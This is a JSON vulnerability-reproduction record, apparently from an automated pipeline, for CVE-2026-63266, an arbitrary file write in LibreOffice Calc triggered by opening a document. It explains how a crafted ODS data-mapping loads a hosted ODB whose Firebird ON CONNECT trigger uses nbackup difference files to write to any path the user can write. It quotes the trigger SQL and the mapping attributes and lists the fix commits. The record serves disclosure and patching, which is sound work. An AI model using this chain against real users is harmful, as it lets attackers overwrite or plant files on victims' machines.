{"repro_id":"REPRO-2026-00376","version":6,"title":"Arbitrary file write via calcext:data-mappings, sql provider and Firebird backup functionality — document-driven write to any user-writable path","repro_type":"security","status":"published","severity":"high","description":"# CVE-2026-63266 — Arbitrary file write via calcext:data-mappings, sql provider and Firebird backup functionality (LibreOffice)","root_cause":"# CVE-2026-63266 — Root Cause Analysis\n\n## Summary\n\nLibreOffice Calc restores persisted external data links (`calcext:data-mappings`) while a\ndocument is being loaded. A crafted ODS can persist an `org.libreoffice.calc.sql`\ndata-mapping whose database component resolves to an attacker-hosted `.odb` document\ncontaining an *embedded* Firebird database. In affected versions (LibreOffice 26.2.4.2\nand earlier 26.2.x), the embedded Firebird driver restores/attaches that database without\n`isc_dpb_no_db_triggers`, so an `ON CONNECT` database trigger stored in the crafted\ndatabase executes during document open. That trigger drives the Firebird *nbackup*\nfunctionality (`ALTER DATABASE ADD DIFFERENCE FILE '<attacker-chosen absolute path>'` +\n`ALTER DATABASE BEGIN BACKUP`), which makes the Firebird engine create and write the\nnbak difference file at **any attacker-chosen location the user can write to** — an\narbitrary file write driven purely by opening a document.\n\n## Impact\n\n- Package/component affected: LibreOffice Calc (sc — external data provider import),\n  dbaccess (`sdb::DatabaseContext`), connectivity Firebird SDBC driver\n  (`connectivity/source/drivers/firebird`) and the bundled Firebird 3.0.14 engine.\n- Affected versions: LibreOffice 26.2 series below 26.2.5 (verified on the official\n  26.2.4.2 Linux x86-64 build, build commit `0229ac93fcf0d7cbc6376066c6f35021cef002dc`).\n- Risk level: high (advisory severity). Consequences: a victim who opens an attacker\n  crafted spreadsheet gets a file written (created/appended, engine page data plus\n  attacker-influenced content such as trigger-inserted rows and the stored target-path\n  header clumplet) to any path the victim user can write — e.g. overwriting a user\n  config file, planting files in auto-started locations, or corrupting user data.\n\n## Impact Parity\n\n- Disclosed/claimed maximum impact: \"Arbitrary file write to any path the user can\n  write, driven by a crafted document on open\" (advisory CVE-2026-63266; claim\n  contract expected impact `oob_write`).\n- Reproduced impact from this run: **full parity** — opening the crafted ODS in the\n  vulnerable product created a new file at an attacker-chosen absolute user-writable\n  path (`$HOME/CVE-2026-63266_PWNED.marker`, 16 KB+, containing the attacker-chosen\n  target path and attacker-controlled row content), entirely outside LibreOffice's\n  temp/firebird private directories. The fixed product opened the same document\n  through the same path without creating the file.\n- Parity: `full`.\n- Not demonstrated: this proof stops at the arbitrary file write (the claimed\n  impact). No code execution was attempted and none is claimed by this advisory.\n\n## Root Cause\n\nChain of vulnerable decisions (all corrected in 26.2.5):\n\n1. **Calc restores external data mappings at load** —\n   `sc/source/filter/xml/xmlmappingi.cxx`: `ScXMLMappingContext` inserts the\n   `calcext:data-mapping` (provider `org.libreoffice.calc.sql`, id `T@<database>`) and\n   its destructor immediately calls `ExternalDataSource::refresh(pDoc, true)`.\n2. **The sql provider resolves the database part of the id as a URL** —\n   `sc/source/ui/dataprovider/sqldataprovider.cxx` →\n   `sdb::DatabaseContext::getByName(aDatabase)`; in\n   `dbaccess/source/core/dataaccess/databasecontext.cxx`, a non-registered name is\n   *interpreted as a URL* and loaded (`loadObjectFromURL`), so the crafted ODS pulls\n   the attacker-hosted `.odb` over HTTP at load time.\n3. **The embedded Firebird database is attached without `isc_dpb_no_db_triggers`** —\n   `connectivity/source/drivers/firebird/Connection.cxx` (`construct`): for\n   `sdbc:embedded:firebird` the fbk is restored via the Firebird service manager and\n   the resulting database is attached; the crafted database's `ON CONNECT` trigger\n   therefore runs inside the victim's LibreOffice process.\n4. **The engine is not confined to a private directory** — the bundled Firebird\n   engine had no `DatabaseAccess = Restrict` confinement, and the nbak difference\n   file paths stored in the database header were not verified against `DatabaseAccess`\n   (see LO's bundled-firebird patch `external/firebird/firebird-nbak-difference-file-access.patch.1`:\n   \"The difference file opened in openDelta and beginBackup was not verified against\n   DatabaseAccess like the other database file paths\"). The `ON CONNECT` trigger runs\n   `ALTER DATABASE ADD DIFFERENCE FILE '<abs path>'` + `ALTER DATABASE BEGIN BACKUP`;\n   `BackupManager::beginBackup` does `PIO_create(tdbb, diff_name, ...)` at the stored\n   path → a file is created and written at the attacker-chosen location.\n\nFix commits (all part of LibreOffice 26.2.5 / 26.8.0, present in the verified fixed\nbuild `cd7284b4cbbfeb507e630c1aac019f4157393acb` and absent from the vulnerable build):\n\n- `c656bab4c907` (cherry-picked as `b7c1e1cc355c` in 26.2.5) — \"firebird: keep each\n  embedded database's files in one directory\": gives the driver a private data\n  directory, extracts embedded databases into it and writes `firebird.conf` with\n  `DatabaseAccess = Restrict <private dir>` so an embedded Firebird database can open\n  or create files only inside its own private directory (the advisory's stated fix).\n- `736210ff4ced` (`4c75c4c03577`) — \"firebird: don't attach a database that is not in\n  the normal backup state\" + the bundled nbak difference-file `DatabaseAccess` check.\n- `cc5ac2a8197a` (`27ba4a9d24cb`) — \"firebird: don't run an attached database's own\n  event triggers\" (`isc_dpb_no_db_triggers`), blocking the ON CONNECT vector.\n- `8cfa628be87f` (`249c36ad76da`) — \"firebird: only write back an embedded database\n  that was opened\".\n- `49c3c4e59c48` — \"put calc external data mappings under link update control\" (the\n  sibling hardening that stops the sql provider from auto-restoring at load).\n\n## Reproduction Steps\n\n1. Reference: `bundle/repro/reproduction_steps.sh` (self-contained; run with\n   `bash bundle/repro/reproduction_steps.sh`, exit 0 = confirmed).\n2. What the script does:\n   - Installs the shared-library prerequisites of the official LibreOffice deb\n     binaries and downloads/pins by SHA-256 the official 26.2.4.2 (vulnerable) and\n     26.2.5.2 (fixed) Linux x86-64 builds plus the Firebird 3.0.14 toolset that\n     matches the engine LibreOffice bundles.\n   - Crafts the malicious embedded Firebird database with standalone `isql`:\n     a table with attacker-chosen rows and an `ON CONNECT` database trigger that\n     executes `ALTER DATABASE ADD DIFFERENCE FILE '<$HOME/CVE-2026-63266_PWNED.marker>'`\n     and `ALTER DATABASE BEGIN BACKUP`, then inserts an attacker-chosen row;\n     `gbak` produces `evil.fbk` (the trigger survives backup/restore — verified).\n   - Builds `crafted/evil.odb` (a real Base ODB package declaring\n     `sdbc:embedded:firebird` with our fbk swapped into the `database/firebird.fbk`\n     storage element, shape taken from `repro/ref_odb.zip` produced by the real\n     product) and `crafted/evil.ods` (a real Calc ODS package with\n     `calcext:data-mapping xlink:href=http://127.0.0.1:<port>/evil.odb\n     calcext:provider=\"org.libreoffice.calc.sql\" calcext:id=\"T@http://127.0.0.1:<port>/evil.odb\"`\n     inside `office:spreadsheet`, shape from `repro/ref_ods.zip`).\n   - Serves `evil.odb` from a local attacker HTTP server (the attacker-hosted ODB of\n     the advisory's scenario), then runs **two vulnerable and two fixed product\n     attempts** through the real document-open path\n     (`soffice --headless --convert-to ods`, fresh `-env:UserInstallation` profile per\n     attempt, bounded by `timeout`), recording per-attempt transcripts, HTTP access\n     snapshots and the marker file, and writes `bundle/repro/runtime_manifest.json`.\n3. Expected evidence of reproduction (observed in both consecutive runs):\n   - vulnerable attempts: `odb_http_get_requests=2`, `marker_present=true`,\n     `marker_contains_target_path=true`, soffice exits 134 (product-visible abort\n     *after* the file write — the write itself already succeeded);\n   - fixed attempts: `soffice_exit_code=0`, `odb_http_get_requests=0`,\n     `marker_present=false`;\n   - overall verdict `confirmed=true`, script exit code 0.\n\n## Evidence\n\n- Script transcript (both runs): `bundle/logs/reproduction_steps.log`\n- Attempt verdicts: `bundle/repro/attempts-verdict.json`\n- Per-attempt proof (immutable): `bundle/repro/proof/vulnerable-{1,2}/`\n  (`soffice.log`, `result.json`, `marker.bin`, `marker-strings.txt`,\n  `attacker-http-snapshot.log`) and `bundle/repro/proof/fixed-{1,2}/`\n- Runtime manifest with target identity + artifact hashes:\n  `bundle/repro/runtime_manifest.json` (vulnerable target:\n  `git:https://github.com/libreoffice/core@0229ac93fcf0d7cbc6376066c6f35021cef002dc`;\n  fixed control build: `cd7284b4cbbfeb507e630c1aac019f4157393acb`)\n- Key excerpts (second run):\n  - `attempt vulnerable-1 result: exit=134 odb_gets=2 marker=PRESENT`\n  - `attempt vulnerable-2 result: exit=134 odb_gets=2 marker=PRESENT`\n  - `attempt fixed-1 result: exit=0 odb_gets=0 marker=absent`\n  - `attempt fixed-2 result: exit=0 odb_gets=0 marker=absent`\n  - `=== verdict: confirmed=True ===`\n  - `proof/vulnerable-1/marker-strings.txt` contains the attacker-chosen absolute\n    target path string stored in the crafted database header.\n- Environment: Ubuntu (resolute) x86-64 container, user `vscode`; official TDF deb\n  builds of LibreOffice 26.2.4.2 and 26.2.5.2 extracted per-run (not installed);\n  attacker HTTP server `python3 -m http.server` on 127.0.0.1.\n\n## Recommendations / Next Steps\n\n- Upgrade to LibreOffice >= 26.2.5 (or >= 26.8.0). All five hardening commits listed\n  under Root Cause are contained in the fixed build verified by this proof.\n- Fix approach (already applied upstream): confine the embedded Firebird engine to a\n  per-driver private directory with `DatabaseAccess = Restrict`, refuse to attach\n  databases in a non-normal nbackup state, verify nbak difference-file paths against\n  `DatabaseAccess`, disable database event triggers on attach\n  (`isc_dpb_no_db_triggers`), and place restored external data mappings under the\n  standard link-update control so the sql provider is not silently re-run at load.\n- Testing recommendations: add a document-driven regression test that opens an ODS\n  with an `org.libreoffice.calc.sql` data-mapping pointing at an ODB whose embedded\n  Firebird database carries an `ON CONNECT` trigger and an nbak difference-file path\n  outside the private directory, asserting that (a) the trigger does not run and (b)\n  no file appears outside the driver's private directory.\n\n## Additional Notes\n\n- Idempotency: the script was executed twice consecutively with identical confirmed\n  results (exit 0 both times). All large downloads are SHA-256-pinned and cached in\n  `$HOME/.cache/pruva-cve-2026-63266`; each attempt uses a fresh LibreOffice profile\n  and a fresh marker state.\n- Edge cases/limitations: (1) the marker path must be user-writable, as the advisory\n  says (\"any location the user could write to\"); (2) the vulnerable soffice process\n  aborts (exit 134, \"Unspecified Application Error\") *after* the write because the\n  trigger leaves the database in the nbak stalled state — the arbitrary write itself\n  has already happened when the abort occurs, which is visible in the attempt logs;\n  (3) the HTTP-hosted ODB models the advisory's attacker-hosted database delivery on\n  loopback; a `file://` URL to a local ODB works identically (verified during\n  development) but the HTTP form matches the disclosed attack shape; (4) the bundled\n  engine is Firebird 3.0.14, so the crafted database was built with the matching\n  upstream Firebird 3.0.14 toolset (its fbk ODS format is engine-version specific).\n","cve_id":"CVE-2026-63266","cwe_id":"CWE-22","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63266","package":{"name":"LibreOffice/core","ecosystem":"other","affected_versions":"LibreOffice Calc versions prior to 26.2.5 (e.g. 26.2.4.2, last 26.2 release before the fix); 25.x line before 26.8.0 fix lineage","fixed_version":"26.2.5"},"reproduced_at":"2026-10-06T05:21:56.621447+00:00","duration_secs":7015.0,"tool_calls":404,"handoffs":2,"total_cost_usd":11.597823,"agent_costs":{"claim_matcher":0.017631,"judge":0.457056,"learning_policy":0.010747,"repro":6.345245,"support":0.037519,"vuln_variant":4.729625},"cost_breakdown":{"claim_matcher":{"gpt-5.4-mini-2026-03-17":0.017631},"judge":{"gpt-5.6-sol":0.457056},"learning_policy":{"gpt-5.4-mini-2026-03-17":0.010747},"repro":{"accounts/fireworks/models/glm-5p3":6.345245},"support":{"accounts/fireworks/models/glm-5p3":0.037519},"vuln_variant":{"accounts/fireworks/models/glm-5p3":4.729625}},"vulnerable_version_variant_outcome":"unknown","fix_bypass_outcome":"unknown","variant_disclosure_state":"unknown","quality":{"confidence":"high","idempotent_verified":false,"community_verifications":0},"evidence":{"workflow":{"profile":"known_vulnerability","schema_version":2,"stages":["support","claim_contract","repro","judge","vuln_variant"]}},"environment":{"sandbox_image":"ghcr.io/n3mes1s/pruva-sandbox@sha256:8096b2518d6022e13d68f885c3b8ded6b4fe607098b1a1ccbfb99abc004d1dc1"},"published_at":"2026-10-06T05:21:57.840590+00:00","retracted":false,"artifacts":[{"path":"bundle/repro/rca_report.md","filename":"rca_report.md","size":11710,"category":"analysis"},{"path":"bundle/repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":20948,"category":"reproduction_script"},{"path":"bundle/logs/reproduction_steps.log","filename":"reproduction_steps.log","size":8658,"category":"log"},{"path":"bundle/repro/attempts-verdict.json","filename":"attempts-verdict.json","size":979,"category":"other"},{"path":"bundle/repro/crafted/evil.odb","filename":"evil.odb","size":2800,"category":"other"},{"path":"bundle/repro/crafted/evil.ods","filename":"evil.ods","size":7046,"category":"other"},{"path":"bundle/repro/proof/fixed-1/attacker-http-snapshot.log","filename":"attacker-http-snapshot.log","size":1071,"category":"log"},{"path":"bundle/repro/proof/fixed-1/result.json","filename":"result.json","size":115,"category":"other"},{"path":"bundle/repro/proof/fixed-1/soffice.log","filename":"soffice.log","size":167,"category":"log"},{"path":"bundle/repro/proof/fixed-2/attacker-http-snapshot.log","filename":"attacker-http-snapshot.log","size":1071,"category":"log"},{"path":"bundle/repro/proof/fixed-2/result.json","filename":"result.json","size":115,"category":"other"},{"path":"bundle/repro/proof/fixed-2/soffice.log","filename":"soffice.log","size":167,"category":"log"},{"path":"bundle/repro/proof/vulnerable-1/attacker-http-snapshot.log","filename":"attacker-http-snapshot.log","size":570,"category":"log"},{"path":"bundle/repro/proof/vulnerable-1/marker-strings.txt","filename":"marker-strings.txt","size":219,"category":"other"},{"path":"bundle/repro/proof/vulnerable-1/marker.bin","filename":"marker.bin","size":28672,"category":"other"},{"path":"bundle/repro/proof/vulnerable-1/result.json","filename":"result.json","size":245,"category":"other"},{"path":"bundle/repro/proof/vulnerable-1/soffice.log","filename":"soffice.log","size":30,"category":"log"},{"path":"bundle/repro/proof/vulnerable-2/attacker-http-snapshot.log","filename":"attacker-http-snapshot.log","size":1071,"category":"log"},{"path":"bundle/repro/proof/vulnerable-2/marker-strings.txt","filename":"marker-strings.txt","size":209,"category":"other"},{"path":"bundle/repro/proof/vulnerable-2/marker.bin","filename":"marker.bin","size":28672,"category":"other"},{"path":"bundle/repro/proof/vulnerable-2/result.json","filename":"result.json","size":245,"category":"other"},{"path":"bundle/repro/proof/vulnerable-2/soffice.log","filename":"soffice.log","size":30,"category":"log"},{"path":"bundle/repro/ref_odb.zip","filename":"ref_odb.zip","size":2566,"category":"other"},{"path":"bundle/repro/ref_ods.zip","filename":"ref_ods.zip","size":7195,"category":"other"},{"path":"bundle/repro/runtime_manifest.json","filename":"runtime_manifest.json","size":4208,"category":"other"},{"path":"bundle/repro/validation_verdict.json","filename":"validation_verdict.json","size":1813,"category":"other"}]}